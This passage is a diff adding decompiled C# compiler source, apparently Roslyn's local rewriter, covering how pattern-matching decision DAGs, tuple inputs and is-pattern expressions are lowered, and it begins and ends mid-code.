obj.Add((BoundStatement)_factory.Label(dagNodeLabel)); + if ((object)_whenNodeIdentifierLocal == null) + { + _whenNodeIdentifierLocal = _factory.SynthesizedLocal(_factory.SpecialType((SpecialType)13), null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + } + ((Dictionary)(object)whenNodeMap).TryGetValue(whenNode, out (LabelSymbol, int) value2); + obj.Add((BoundStatement)_factory.Assignment(_factory.Local(_whenNodeIdentifierLocal), _factory.Literal(value2.Item2))); + obj.Add((BoundStatement)_factory.Goto(value2.Item1)); + return true; + } + } + + private void LowerDecisionDagNode(BoundDecisionDagNode node, BoundDecisionDagNode nextNode) + { + _factory.Syntax = node.Syntax; + if (!(node is BoundEvaluationDecisionDagNode boundEvaluationDecisionDagNode)) + { + if (node is BoundTestDecisionDagNode boundTestDecisionDagNode) + { + BoundExpression test = LowerTest(boundTestDecisionDagNode.Test); + GenerateTest(test, boundTestDecisionDagNode.WhenTrue, boundTestDecisionDagNode.WhenFalse, nextNode); + return; + } + throw ExceptionUtilities.UnexpectedValue((object)node.Kind); + } + BoundExpression expr = LowerEvaluation(boundEvaluationDecisionDagNode.Evaluation); + _loweredDecisionDag.Add((BoundStatement)_factory.ExpressionStatement(expr)); + if (base.GenerateInstrumentation) + { + _loweredDecisionDag.Add(_factory.HiddenSequencePoint()); + } + if (nextNode != boundEvaluationDecisionDagNode.Next) + { + _loweredDecisionDag.Add((BoundStatement)_factory.Goto(GetDagNodeLabel(boundEvaluationDecisionDagNode.Next))); + } + } + } + + private abstract class PatternLocalRewriter + { + public sealed class DagTempAllocator + { + private readonly SyntheticBoundNodeFactory _factory; + + private readonly PooledDictionary _map = PooledDictionary.GetInstance(); + + private readonly ArrayBuilder _temps = ArrayBuilder.GetInstance(); + + private readonly SyntaxNode _node; + + private readonly bool _generateSequencePoints; + + public DagTempAllocator(SyntheticBoundNodeFactory factory, SyntaxNode node, bool generateSequencePoints) + { + _factory = factory; + _node = node; + _generateSequencePoints = generateSequencePoints; + } + + public void Free() + { + _temps.Free(); + _map.Free(); + } + + public BoundExpression GetTemp(BoundDagTemp dagTemp) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + if (!((Dictionary)(object)_map).TryGetValue(dagTemp, out BoundExpression value)) + { + SynthesizedLocalKind kind = (SynthesizedLocalKind)(_generateSequencePoints ? 35 : (-2)); + LocalSymbol localSymbol = _factory.SynthesizedLocal(dagTemp.Type, _node, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, kind); + value = _factory.Local(localSymbol); + ((Dictionary)(object)_map).Add(dagTemp, value); + _temps.Add(localSymbol); + } + return value; + } + + public bool TrySetTemp(BoundDagTemp dagTemp, BoundExpression translation) + { + if (!((Dictionary)(object)_map).ContainsKey(dagTemp)) + { + ((Dictionary)(object)_map).Add(dagTemp, translation); + return true; + } + return false; + } + + public ImmutableArray AllTemps() + { + return ((IEnumerable)_temps).ToImmutableArray(); + } + } + + protected readonly LocalRewriter _localRewriter; + + protected readonly SyntheticBoundNodeFactory _factory; + + protected readonly DagTempAllocator _tempAllocator; + + protected bool GenerateInstrumentation { get; } + + public PatternLocalRewriter(SyntaxNode node, LocalRewriter localRewriter, bool generateInstrumentation) + { + _localRewriter = localRewriter; + _factory = localRewriter._factory; + GenerateInstrumentation = generateInstrumentation; + _tempAllocator = new DagTempAllocator(_factory, node, generateInstrumentation); + } + + public void Free() + { + _tempAllocator.Free(); + } + + protected BoundExpression LowerEvaluation(BoundDagEvaluation evaluation) + { + //IL_0190: Unknown result type (might be due to invalid IL or missing references) + //IL_0289: Unknown result type (might be due to invalid IL or missing references) + //IL_028e: Unknown result type (might be due to invalid IL or missing references) + //IL_02c5: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression = _tempAllocator.GetTemp(evaluation.Input); + ArrayBuilder refKindBuilder; + ArrayBuilder argBuilder; + if (!(evaluation is BoundDagFieldEvaluation boundDagFieldEvaluation)) + { + if (!(evaluation is BoundDagPropertyEvaluation boundDagPropertyEvaluation)) + { + if (!(evaluation is BoundDagDeconstructEvaluation boundDagDeconstructEvaluation)) + { + if (!(evaluation is BoundDagTypeEvaluation boundDagTypeEvaluation)) + { + if (!(evaluation is BoundDagIndexEvaluation boundDagIndexEvaluation)) + { + if (!(evaluation is BoundDagIndexerEvaluation boundDagIndexerEvaluation)) + { + if (!(evaluation is BoundDagSliceEvaluation boundDagSliceEvaluation)) + { + if (!(evaluation is BoundDagAssignmentEvaluation)) + { + } + throw ExceptionUtilities.UnexpectedValue((object)evaluation); + } + BoundExpression boundExpression2 = boundDagSliceEvaluation.IndexerAccess; + if (boundExpression2 is BoundImplicitIndexerAccess boundImplicitIndexerAccess) + { + boundExpression2 = boundImplicitIndexerAccess.WithLengthOrCountAccess(_tempAllocator.GetTemp(boundDagSliceEvaluation.LengthTemp)); + } + PooledDictionary instance = PooledDictionary.GetInstance(); + ((Dictionary)(object)instance).Add((BoundEarlyValuePlaceholderBase)boundDagSliceEvaluation.ReceiverPlaceholder, boundExpression); + ((Dictionary)(object)instance).Add((BoundEarlyValuePlaceholderBase)boundDagSliceEvaluation.ArgumentPlaceholder, makeUnloweredRangeArgument(boundDagSliceEvaluation)); + boundExpression2 = PlaceholderReplacer.Replace((Dictionary)(object)instance, boundExpression2); + instance.Free(); + BoundExpression right = (BoundExpression)_localRewriter.Visit(boundExpression2); + BoundDagTemp dagTemp = new BoundDagTemp(boundDagSliceEvaluation.Syntax, boundDagSliceEvaluation.SliceType, boundDagSliceEvaluation); + BoundExpression temp = _tempAllocator.GetTemp(dagTemp); + return _factory.AssignmentExpression(temp, right); + } + BoundExpression boundExpression3 = boundDagIndexerEvaluation.IndexerAccess; + if (boundExpression3 is BoundImplicitIndexerAccess boundImplicitIndexerAccess2) + { + boundExpression3 = boundImplicitIndexerAccess2.WithLengthOrCountAccess(_tempAllocator.GetTemp(boundDagIndexerEvaluation.LengthTemp)); + } + PooledDictionary instance2 = PooledDictionary.GetInstance(); + ((Dictionary)(object)instance2).Add((BoundEarlyValuePlaceholderBase)boundDagIndexerEvaluation.ReceiverPlaceholder, boundExpression); + ((Dictionary)(object)instance2).Add((BoundEarlyValuePlaceholderBase)boundDagIndexerEvaluation.ArgumentPlaceholder, makeUnloweredIndexArgument(boundDagIndexerEvaluation.Index)); + boundExpression3 = PlaceholderReplacer.Replace((Dictionary)(object)instance2, boundExpression3); + instance2.Free(); + BoundExpression right2 = (BoundExpression)_localRewriter.Visit(boundExpression3); + BoundDagTemp dagTemp2 = new BoundDagTemp(boundDagIndexerEvaluation.Syntax, boundDagIndexerEvaluation.IndexerType, boundDagIndexerEvaluation); + BoundExpression temp2 = _tempAllocator.GetTemp(dagTemp2); + return _factory.AssignmentExpression(temp2, right2); + } + TypeSymbol returnType = boundDagIndexEvaluation.Property.GetMethod.ReturnType; + BoundDagTemp dagTemp3 = new BoundDagTemp(boundDagIndexEvaluation.Syntax, returnType, boundDagIndexEvaluation); + BoundExpression temp3 = _tempAllocator.GetTemp(dagTemp3); + return _factory.AssignmentExpression(temp3, _factory.Indexer(boundExpression, boundDagIndexEvaluation.Property, _factory.Literal(boundDagIndexEvaluation.Index))); + } + TypeSymbol typeSymbol = boundExpression.Type; + if (typeSymbol.IsDynamic()) + { + typeSymbol = _factory.SpecialType((SpecialType)1); + boundExpression = _factory.Convert(typeSymbol, boundExpression); + } + TypeSymbol type = boundDagTypeEvaluation.Type; + BoundDagTemp dagTemp4 = new BoundDagTemp(boundDagTypeEvaluation.Syntax, type, boundDagTypeEvaluation); + BoundExpression temp4 = _tempAllocator.GetTemp(dagTemp4); + CompoundUseSiteInfo useSiteInfo = _localRewriter.GetNewCompoundUseSiteInfo(); + Conversion conversion = _factory.Compilation.Conversions.ClassifyBuiltInConversion(typeSymbol, temp4.Type, isChecked: false, ref useSiteInfo); + ((BindingDiagnosticBag)(object)_localRewriter._diagnostics).Add(boundDagTypeEvaluation.Syntax, useSiteInfo); + MethodSymbol result; + BoundExpression right3 = ((!conversion.Exists) ? _factory.As(boundExpression, type) : ((conversion.Kind != ConversionKind.ExplicitNullable || !typeSymbol.GetNullableUnderlyingType().Equals(temp4.Type, (TypeCompareKind)63) || !_localRewriter.TryGetNullableMethod(boundDagTypeEvaluation.Syntax, typeSymbol, (SpecialMember)114, out result)) ? _factory.Convert(type, boundExpression, conversion) : _factory.Call(boundExpression, result))); + return _factory.AssignmentExpression(temp4, right3); + } + MethodSymbol deconstructMethod = boundDagDeconstructEvaluation.DeconstructMethod; + refKindBuilder = ArrayBuilder.GetInstance(); + argBuilder = ArrayBuilder.GetInstance(); + BoundExpression receiver; + int num; + if (deconstructMethod.IsStatic) + { + receiver = _factory.Type(deconstructMethod.ContainingType); + addArg(deconstructMethod.ParameterRefKinds[0], boundExpression); + num = 1; + } + else + { + receiver = boundExpression; + num = 0; + } + for (int i = num; i < deconstructMethod.ParameterCount; i++) + { + ParameterSymbol parameterSymbol = deconstructMethod.Parameters[i]; + BoundDagTemp dagTemp5 = new BoundDagTemp(boundDagDeconstructEvaluation.Syntax, parameterSymbol.Type, boundDagDeconstructEvaluation, i - num); + addArg((RefKind)2, _tempAllocator.GetTemp(dagTemp5)); + } + return _factory.Call(receiver, deconstructMethod, refKindBuilder.ToImmutableAndFree(), argBuilder.ToImmutableAndFree()); + } + PropertySymbol property = boundDagPropertyEvaluation.Property; + BoundDagTemp dagTemp6 = new BoundDagTemp(boundDagPropertyEvaluation.Syntax, property.Type, boundDagPropertyEvaluation); + BoundExpression temp5 = _tempAllocator.GetTemp(dagTemp6); + return _factory.AssignmentExpression(temp5, _localRewriter.MakePropertyAccess(_factory.Syntax, boundExpression, property, LookupResultKind.Viable, property.Type, isLeftOfAssignment: false)); + } + FieldSymbol field = boundDagFieldEvaluation.Field; + BoundDagTemp dagTemp7 = new BoundDagTemp(boundDagFieldEvaluation.Syntax, field.Type, boundDagFieldEvaluation); + BoundExpression temp6 = _tempAllocator.GetTemp(dagTemp7); + BoundExpression boundExpression4 = _localRewriter.MakeFieldAccess(boundDagFieldEvaluation.Syntax, boundExpression, field, null, LookupResultKind.Viable, field.Type); + boundExpression4.WasCompilerGenerated = true; + return _factory.AssignmentExpression(temp6, boundExpression4); + void addArg(RefKind refKind, BoundExpression expression) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + refKindBuilder.Add(refKind); + argBuilder.Add(expression); + } + BoundExpression makeUnloweredIndexArgument(int index) + { + MethodSymbol methodSymbol = (MethodSymbol)_factory.WellKnownMember((WellKnownMember)417); + if (index < 0) + { + return new BoundFromEndIndexExpression(_factory.Syntax, _factory.Literal(-index), methodSymbol, _factory.WellKnownType((WellKnownType)284)); + } + return _factory.New(methodSymbol, _factory.Literal(index), _factory.Literal(value: false)); + } + BoundExpression makeUnloweredRangeArgument(BoundDagSliceEvaluation e) + { + MethodSymbol methodOpt = (MethodSymbol)_factory.WellKnownMember((WellKnownMember)417); + BoundFromEndIndexExpression rightOperandOpt = new BoundFromEndIndexExpression(_factory.Syntax, _factory.Literal(-e.EndIndex), methodOpt, _factory.WellKnownType((WellKnownType)284)); + MethodSymbol methodOpt2 = (MethodSymbol)_factory.WellKnownMember((WellKnownMember)419); + return new BoundRangeExpression(e.Syntax, makeUnloweredIndexArgument(e.StartIndex), rightOperandOpt, methodOpt2, _factory.WellKnownType((WellKnownType)285)); + } + } + + protected BoundExpression LowerTest(BoundDagTest test) + { + _factory.Syntax = test.Syntax; + BoundExpression temp = _tempAllocator.GetTemp(test.Input); + if (!(test is BoundDagNonNullTest boundDagNonNullTest)) + { + if (!(test is BoundDagTypeTest boundDagTypeTest)) + { + if (!(test is BoundDagExplicitNullTest boundDagExplicitNullTest)) + { + if (!(test is BoundDagValueTest boundDagValueTest)) + { + if (test is BoundDagRelationalTest boundDagRelationalTest) + { + return MakeRelationalTest(boundDagRelationalTest.Syntax, temp, boundDagRelationalTest.OperatorKind, boundDagRelationalTest.Value); + } + throw ExceptionUtilities.UnexpectedValue((object)test); + } + return MakeValueTest(boundDagValueTest.Syntax, temp, boundDagValueTest.Value); + } + return MakeNullCheck(boundDagExplicitNullTest.Syntax, temp, temp.Type.IsNullableType() ? BinaryOperatorKind.NullableNullEqual : BinaryOperatorKind.Equal); + } + return _factory.Is(temp, boundDagTypeTest.Type); + } + return MakeNullCheck(boundDagNonNullTest.Syntax, temp, temp.Type.IsNullableType() ? BinaryOperatorKind.NullableNullNotEqual : BinaryOperatorKind.NotEqual); + } + + private BoundExpression MakeNullCheck(SyntaxNode syntax, BoundExpression rewrittenExpr, BinaryOperatorKind operatorKind) + { + if (rewrittenExpr.Type.IsPointerOrFunctionPointer()) + { + TypeSymbol type = _factory.SpecialType((SpecialType)1); + PointerTypeSymbol type2 = new PointerTypeSymbol(TypeWithAnnotations.Create(_factory.SpecialType((SpecialType)6))); + return _localRewriter.MakeBinaryOperator(syntax, operatorKind, _factory.Convert(type2, rewrittenExpr), _factory.Convert(type2, new BoundLiteral(syntax, ConstantValue.Null, type)), _factory.SpecialType((SpecialType)7), null, null); + } + return _localRewriter.MakeNullCheck(syntax, rewrittenExpr, operatorKind); + } + + protected BoundExpression MakeValueTest(SyntaxNode syntax, BoundExpression input, ConstantValue value) + { + if (value.IsString && input.Type.IsSpanOrReadOnlySpanChar()) + { + return MakeSpanStringTest(input, value); + } + BinaryOperatorKind binaryOperatorKind = Binder.RelationalOperatorType(input.Type.EnumUnderlyingTypeOrSelf()); + BinaryOperatorKind operatorKind = BinaryOperatorKind.Equal | binaryOperatorKind; + return MakeRelationalTest(syntax, input, operatorKind, value); + } + + protected BoundExpression MakeRelationalTest(SyntaxNode syntax, BoundExpression input, BinaryOperatorKind operatorKind, ConstantValue value) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Invalid comparison between Unknown and I4 + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Invalid comparison between Unknown and I4 + if (((int)input.Type.SpecialType == 19 && double.IsNaN(value.DoubleValue)) || ((int)input.Type.SpecialType == 18 && float.IsNaN(value.SingleValue))) + { + return _factory.MakeIsNotANumberTest(input); + } + BoundExpression boundExpression = _localRewriter.MakeLiteral(syntax, value, input.Type); + TypeSymbol typeSymbol = input.Type.EnumUnderlyingTypeOrSelf(); + if (operatorKind.OperandTypes() == BinaryOperatorKind.Int && (int)typeSymbol.SpecialType != 13) + { + typeSymbol = _factory.SpecialType((SpecialType)13); + input = _factory.Convert(typeSymbol, input); + boundExpression = _factory.Convert(typeSymbol, boundExpression); + } + return _localRewriter.MakeBinaryOperator(_factory.Syntax, operatorKind, input, boundExpression, _factory.SpecialType((SpecialType)7), null, null); + } + + private BoundExpression MakeSpanStringTest(BoundExpression input, ConstantValue value) + { + bool flag = input.Type.IsReadOnlySpanChar(); + MethodSymbol method = ((MethodSymbol)_factory.WellKnownMember((WellKnownMember)(flag ? 474 : 473))).Construct(_factory.SpecialType((SpecialType)8)); + MethodSymbol method2 = (MethodSymbol)_factory.WellKnownMember((WellKnownMember)475); + return _factory.Call(null, method, input, _factory.Call(null, method2, _factory.StringLiteral(value))); + } + + protected bool TryLowerTypeTestAndCast(BoundDagTest test, BoundDagEvaluation evaluation, [NotNullWhen(true)] out BoundExpression sideEffect, [NotNullWhen(true)] out BoundExpression testExpression) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_01d3: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = _localRewriter.GetNewCompoundUseSiteInfo(); + if (test is BoundDagTypeTest boundDagTypeTest && evaluation is BoundDagTypeEvaluation boundDagTypeEvaluation && boundDagTypeTest.Type.IsReferenceType && boundDagTypeEvaluation.Type.Equals(boundDagTypeTest.Type, (TypeCompareKind)63) && boundDagTypeEvaluation.Input == boundDagTypeTest.Input) + { + BoundExpression temp = _tempAllocator.GetTemp(test.Input); + BoundExpression temp2 = _tempAllocator.GetTemp(new BoundDagTemp(evaluation.Syntax, boundDagTypeEvaluation.Type, evaluation)); + sideEffect = _factory.AssignmentExpression(temp2, _factory.As(temp, boundDagTypeEvaluation.Type)); + testExpression = _factory.ObjectNotEqual(temp2, _factory.Null(temp2.Type)); + return true; + } + if (test is BoundDagNonNullTest boundDagNonNullTest && evaluation is BoundDagTypeEvaluation boundDagTypeEvaluation2) + { + Conversion conversion = _factory.Compilation.Conversions.ClassifyBuiltInConversion(test.Input.Type, boundDagTypeEvaluation2.Type, isChecked: false, ref useSiteInfo); + if ((conversion.IsIdentity || conversion.Kind == ConversionKind.ImplicitReference || conversion.IsBoxing) && boundDagTypeEvaluation2.Input == boundDagNonNullTest.Input) + { + BoundExpression temp3 = _tempAllocator.GetTemp(test.Input); + TypeSymbol type = boundDagTypeEvaluation2.Type; + BoundExpression temp4 = _tempAllocator.GetTemp(new BoundDagTemp(evaluation.Syntax, type, evaluation)); + sideEffect = _factory.AssignmentExpression(temp4, _factory.Convert(type, temp3)); + testExpression = _factory.ObjectNotEqual(temp4, _factory.Null(type)); + ((BindingDiagnosticBag)(object)_localRewriter._diagnostics).Add(test.Syntax, useSiteInfo); + return true; + } + } + sideEffect = (testExpression = null); + return false; + } + + protected BoundDecisionDag ShareTempsAndEvaluateInput(BoundExpression loweredInput, BoundDecisionDag decisionDag, Action addCode, out BoundExpression savedInputExpression) + { + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + bool flag = decisionDag.TopologicallySortedNodes.Any(delegate(BoundDecisionDagNode node) + { + if (node is BoundWhenDecisionDagNode boundWhenDecisionDagNode2) + { + BoundExpression whenExpression = boundWhenDecisionDagNode2.WhenExpression; + if (whenExpression != null) + { + return whenExpression.ConstantValueOpt == null; + } + } + return false; + }); + BoundDagTemp dagTemp = BoundDagTemp.ForOriginalInput(loweredInput); + if ((loweredInput.Kind == BoundKind.Local || loweredInput.Kind == BoundKind.Parameter) && (int)loweredInput.GetRefKind() == 0 && !flag) + { + _tempAllocator.TrySetTemp(dagTemp, loweredInput); + } + ImmutableArray.Enumerator enumerator = decisionDag.TopologicallySortedNodes.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!(enumerator.Current is BoundWhenDecisionDagNode { Bindings: var bindings })) + { + continue; + } + ImmutableArray.Enumerator enumerator2 = bindings.GetEnumerator(); + while (enumerator2.MoveNext()) + { + BoundPatternBinding current = enumerator2.Current; + if (current.VariableAccess is BoundLocal) + { + _tempAllocator.TrySetTemp(current.TempContainingValue, current.VariableAccess); + } + } + } + if (loweredInput.Type.IsTupleType && !loweredInput.Type.OriginalDefinition.Equals(_factory.Compilation.GetWellKnownType((WellKnownType)262)) && loweredInput.Syntax.Kind() == SyntaxKind.TupleExpression && loweredInput is BoundObjectCreationExpression loweredInput2 && !decisionDag.TopologicallySortedNodes.Any((BoundDecisionDagNode n) => usesOriginalInput(n))) + { + decisionDag = RewriteTupleInput(decisionDag, loweredInput2, addCode, !flag, out savedInputExpression); + } + else + { + BoundExpression boundExpression = (savedInputExpression = _tempAllocator.GetTemp(dagTemp)); + if (boundExpression != loweredInput) + { + addCode(_factory.AssignmentExpression(boundExpression, loweredInput)); + } + } + return decisionDag; + static bool usesOriginalInput(BoundDecisionDagNode node) + { + if (node is BoundWhenDecisionDagNode boundWhenDecisionDagNode2) + { + return boundWhenDecisionDagNode2.Bindings.Any((BoundPatternBinding b) => b.TempContainingValue.IsOriginalInput); + } + if (node is BoundTestDecisionDagNode boundTestDecisionDagNode) + { + return boundTestDecisionDagNode.Test.Input.IsOriginalInput; + } + if (node is BoundEvaluationDecisionDagNode boundEvaluationDecisionDagNode) + { + if (boundEvaluationDecisionDagNode.Evaluation is BoundDagFieldEvaluation boundDagFieldEvaluation) + { + if (boundDagFieldEvaluation.Input.IsOriginalInput) + { + return !boundDagFieldEvaluation.Field.IsTupleElement(); + } + return false; + } + return boundEvaluationDecisionDagNode.Evaluation.Input.IsOriginalInput; + } + return false; + } + } + + private BoundDecisionDag RewriteTupleInput(BoundDecisionDag decisionDag, BoundObjectCreationExpression loweredInput, Action addCode, bool canShareInputs, out BoundExpression savedInputExpression) + { + //IL_0124: Unknown result type (might be due to invalid IL or missing references) + int length = loweredInput.Arguments.Length; + BoundDagTemp input = BoundDagTemp.ForOriginalInput(loweredInput.Syntax, loweredInput.Type); + ArrayBuilder instance = ArrayBuilder.GetInstance(loweredInput.Arguments.Length); + for (int i = 0; i < length; i++) + { + FieldSymbol correspondingTupleField = loweredInput.Type.TupleElements[i].CorrespondingTupleField; + BoundExpression boundExpression = loweredInput.Arguments[i]; + BoundDagFieldEvaluation source = new BoundDagFieldEvaluation(boundExpression.Syntax, correspondingTupleField, input); + BoundDagTemp boundDagTemp = new BoundDagTemp(boundExpression.Syntax, boundExpression.Type, source); + storeToTemp(boundDagTemp, boundExpression); + instance.Add(_tempAllocator.GetTemp(boundDagTemp)); + } + BoundDecisionDag result = decisionDag.Rewrite(makeReplacement); + savedInputExpression = loweredInput.Update(loweredInput.Constructor, instance.ToImmutableAndFree(), loweredInput.ArgumentNamesOpt, loweredInput.ArgumentRefKindsOpt, loweredInput.Expanded, loweredInput.ArgsToParamsOpt, loweredInput.DefaultArguments, loweredInput.ConstantValueOpt, loweredInput.InitializerExpressionOpt, loweredInput.Type); + return result; + static BoundDecisionDagNode makeReplacement(BoundDecisionDagNode node, IReadOnlyDictionary replacement) + { + if (!(node is BoundEvaluationDecisionDagNode boundEvaluationDecisionDagNode)) + { + if (node is BoundTestDecisionDagNode) + { + } + } + else if (boundEvaluationDecisionDagNode.Evaluation is BoundDagFieldEvaluation boundDagFieldEvaluation && boundDagFieldEvaluation.Input.IsOriginalInput) + { + FieldSymbol field = boundDagFieldEvaluation.Field; + if (field.CorrespondingTupleField != null) + { + _ = field.TupleElementIndex; + return replacement[boundEvaluationDecisionDagNode.Next]; + } + } + return BoundDecisionDag.TrivialReplacement(node, replacement); + } + void storeToTemp(BoundDagTemp temp, BoundExpression expr) + { + if (!canShareInputs || (expr.Kind != BoundKind.Parameter && expr.Kind != BoundKind.Local) || !_tempAllocator.TrySetTemp(temp, expr)) + { + BoundExpression temp2 = _tempAllocator.GetTemp(temp); + addCode(_factory.AssignmentExpression(temp2, expr)); + } + } + } + } + + private sealed class PlaceholderReplacer : BoundTreeRewriterWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator + { + private readonly Dictionary _placeholders; + + private PlaceholderReplacer(Dictionary placeholders) + { + _placeholders = placeholders; + } + + public static BoundExpression Replace(Dictionary placeholders, BoundExpression expr) + { + return (BoundExpression)new PlaceholderReplacer(placeholders).Visit(expr); + } + + private BoundNode ReplacePlaceholder(BoundEarlyValuePlaceholderBase placeholder) + { + return _placeholders[placeholder]; + } + + public override BoundNode VisitListPatternReceiverPlaceholder(BoundListPatternReceiverPlaceholder node) + { + return ReplacePlaceholder(node); + } + + public override BoundNode VisitListPatternIndexPlaceholder(BoundListPatternIndexPlaceholder node) + { + return ReplacePlaceholder(node); + } + + public override BoundNode VisitSlicePatternReceiverPlaceholder(BoundSlicePatternReceiverPlaceholder node) + { + return ReplacePlaceholder(node); + } + + public override BoundNode VisitSlicePatternRangePlaceholder(BoundSlicePatternRangePlaceholder node) + { + return ReplacePlaceholder(node); + } + } + + private abstract class BaseSwitchLocalRewriter : DecisionDagRewriter + { + private readonly PooledDictionary> _switchArms = PooledDictionary>.GetInstance(); + + protected override ArrayBuilder BuilderForSection(SyntaxNode whenClauseSyntax) + { + SyntaxNode key = (SyntaxNode)(object)((whenClauseSyntax is SwitchLabelSyntax switchLabelSyntax) ? switchLabelSyntax.Parent : ((CSharpSyntaxNode?)(object)whenClauseSyntax)); + if (!((Dictionary>)(object)_switchArms).TryGetValue(key, out ArrayBuilder value) || value == null) + { + throw new InvalidOperationException(); + } + return value; + } + + protected BaseSwitchLocalRewriter(SyntaxNode node, LocalRewriter localRewriter, ImmutableArray arms, bool generateInstrumentation) + : base(node, localRewriter, generateInstrumentation) + { + ImmutableArray.Enumerator enumerator = arms.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxNode current = enumerator.Current; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (base.GenerateInstrumentation) + { + instance.Add(_factory.HiddenSequencePoint()); + } + ((Dictionary>)(object)_switchArms).Add(current, instance); + } + } + + protected new void Free() + { + _switchArms.Free(); + base.Free(); + } + + protected (ImmutableArray loweredDag, ImmutableDictionary> switchSections) LowerDecisionDag(BoundDecisionDag decisionDag) + { + ImmutableArray item = LowerDecisionDagCore(decisionDag); + ImmutableDictionary> item2 = ((IEnumerable>>)_switchArms).ToImmutableDictionary((KeyValuePair> kv) => kv.Key, (KeyValuePair> kv) => kv.Value.ToImmutableAndFree()); + ((Dictionary>)(object)_switchArms).Clear(); + return (loweredDag: item, switchSections: item2); + } + } + + private enum ReceiverCaptureMode + { + Default, + CompoundAssignment, + UseTwiceComplex + } + + private enum ConditionalAccessLoweringKind + { + LoweredConditionalAccess, + Conditional, + ConditionalCaptureReceiverByVal + } + + private class DeconstructionSideEffects + { + internal ArrayBuilder init; + + internal ArrayBuilder deconstructions; + + internal ArrayBuilder conversions; + + internal ArrayBuilder assignments; + + internal static DeconstructionSideEffects GetInstance() + { + return new DeconstructionSideEffects + { + init = ArrayBuilder.GetInstance(), + deconstructions = ArrayBuilder.GetInstance(), + conversions = ArrayBuilder.GetInstance(), + assignments = ArrayBuilder.GetInstance() + }; + } + + internal void Consolidate() + { + init.AddRange(deconstructions); + init.AddRange(conversions); + init.AddRange(assignments); + deconstructions.Free(); + conversions.Free(); + assignments.Free(); + } + + internal BoundExpression? PopLast() + { + if (init.Count == 0) + { + return null; + } + BoundExpression result = init.Last(); + init.RemoveLast(); + return result; + } + + internal ImmutableArray ToImmutableAndFree() + { + return init.ToImmutableAndFree(); + } + + internal void Free() + { + init.Free(); + } + } + + private enum EventAssignmentKind + { + Assignment, + Addition, + Subtraction + } + + private delegate BoundStatement? GetForEachStatementAsForPreamble(LocalRewriter rewriter, BoundForEachStatement node, ref BoundExpression rewrittenExpression, out LocalSymbol? preambleLocal, out RefKind collectionTempRefKind); + + private delegate BoundExpression GetForEachStatementAsForItem(LocalRewriter rewriter, BoundForEachStatement node, BoundLocal boundArrayVar, BoundLocal boundPositionVar, TArg arg); + + private delegate BoundExpression GetForEachStatementAsForLength(LocalRewriter rewriter, BoundForEachStatement node, BoundLocal boundArrayVar, TArg arg); + + private enum PatternIndexOffsetLoweringStrategy + { + Zero, + Length, + SubtractFromLength, + UseAsIs, + UseGetOffsetAPI + } + + private sealed class IsPatternExpressionGeneralLocalRewriter(SyntaxNode node, LocalRewriter localRewriter) : DecisionDagRewriter(node, localRewriter, generateInstrumentation: false) + { + private readonly ArrayBuilder _statements = ArrayBuilder.GetInstance(); + + protected override ArrayBuilder BuilderForSection(SyntaxNode section) + { + return _statements; + } + + public new void Free() + { + base.Free(); + _statements.Free(); + } + + internal BoundExpression LowerGeneralIsPattern(BoundIsPatternExpression node, BoundDecisionDag decisionDag) + { + _factory.Syntax = node.Syntax; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + BoundExpression loweredSwitchGoverningExpression = _localRewriter.VisitExpression(node.Expression); + decisionDag = ShareTempsIfPossibleAndEvaluateInput(decisionDag, loweredSwitchGoverningExpression, instance, out var _); + ImmutableArray statements = LowerDecisionDagCore(decisionDag); + instance.Add((BoundStatement)_factory.Block(statements)); + LocalSymbol localSymbol = _factory.SynthesizedLocal(node.Type, node.Syntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + LabelSymbol label = _factory.GenerateLabel("afterIsPatternExpression"); + LabelSymbol whenTrueLabel = node.WhenTrueLabel; + LabelSymbol whenFalseLabel = node.WhenFalseLabel; + if (_statements.Count != 0) + { + instance.Add((BoundStatement)_factory.Block(_statements.ToArray())); + } + instance.Add((BoundStatement)_factory.Label(whenTrueLabel)); + instance.Add((BoundStatement)_factory.Assignment(_factory.Local(localSymbol), _factory.Literal(value: true))); + instance.Add((BoundStatement)_factory.Goto(label)); + instance.Add((BoundStatement)_factory.Label(whenFalseLabel)); + instance.Add((BoundStatement)_factory.Assignment(_factory.Local(localSymbol), _factory.Literal(value: false))); + instance.Add((BoundStatement)_factory.Label(label)); + _localRewriter._needsSpilling = true; + return _factory.SpillSequence(_tempAllocator.AllTemps().Add(localSymbol), instance.ToImmutableAndFree(), _factory.Local(localSymbol)); + } + } + + private sealed class IsPatternExpressionLinearLocalRewriter : PatternLocalRewriter + { + private readonly ArrayBuilder _sideEffectBuilder; + + private readonly ArrayBuilder _conjunctBuilder; + + public IsPatternExpressionLinearLocalRewriter(BoundIsPatternExpression node, LocalRewriter localRewriter) + : base(node.Syntax, localRewriter, generateInstrumentation: false) + { + _conjunctBuilder = ArrayBuilder.GetInstance(); + _sideEffectBuilder = ArrayBuilder.GetInstance(); + } + + public new void Free() + { + _conjunctBuilder.Free(); + _sideEffectBuilder.Free(); + base.Free(); + } + + private void AddConjunct(BoundExpression test) + { + TypeSymbol? type = test.Type; + if ((object)type != null && !type.IsErrorType()) + { + if (_sideEffectBuilder.Count != 0) + { + test = _factory.Sequence(ImmutableArray.Empty, _sideEffectBuilder.ToImmutable(), test); + _sideEffectBuilder.Clear(); + } + _conjunctBuilder.Add(test); + } + } + + private void LowerOneTest(BoundDagTest test, bool invert = false) + { + _factory.Syntax = test.Syntax; + if (test is BoundDagEvaluation evaluation) + { + 